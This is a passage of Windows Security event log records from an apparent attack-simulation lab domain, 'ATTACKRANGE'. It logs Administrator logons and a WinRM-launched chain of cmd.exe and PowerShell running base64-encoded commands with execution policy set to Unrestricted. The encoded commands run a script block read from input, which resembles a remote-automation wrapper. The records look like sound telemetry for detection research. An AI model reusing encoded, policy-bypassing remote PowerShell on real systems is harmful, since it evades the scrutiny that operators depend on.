C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247908 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247907 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247906 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x167BD7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247905 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x145E70 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247904 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x144797 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247940 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18BE2D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247939 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18BE2D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247938 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247937 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247936 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A564 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf54 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247935 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A564 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf54 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247934 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18AA73 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247933 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18AA73 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247932 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247931 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247930 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A564 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe2c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247929 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A564 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe2c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x30c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247928 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - 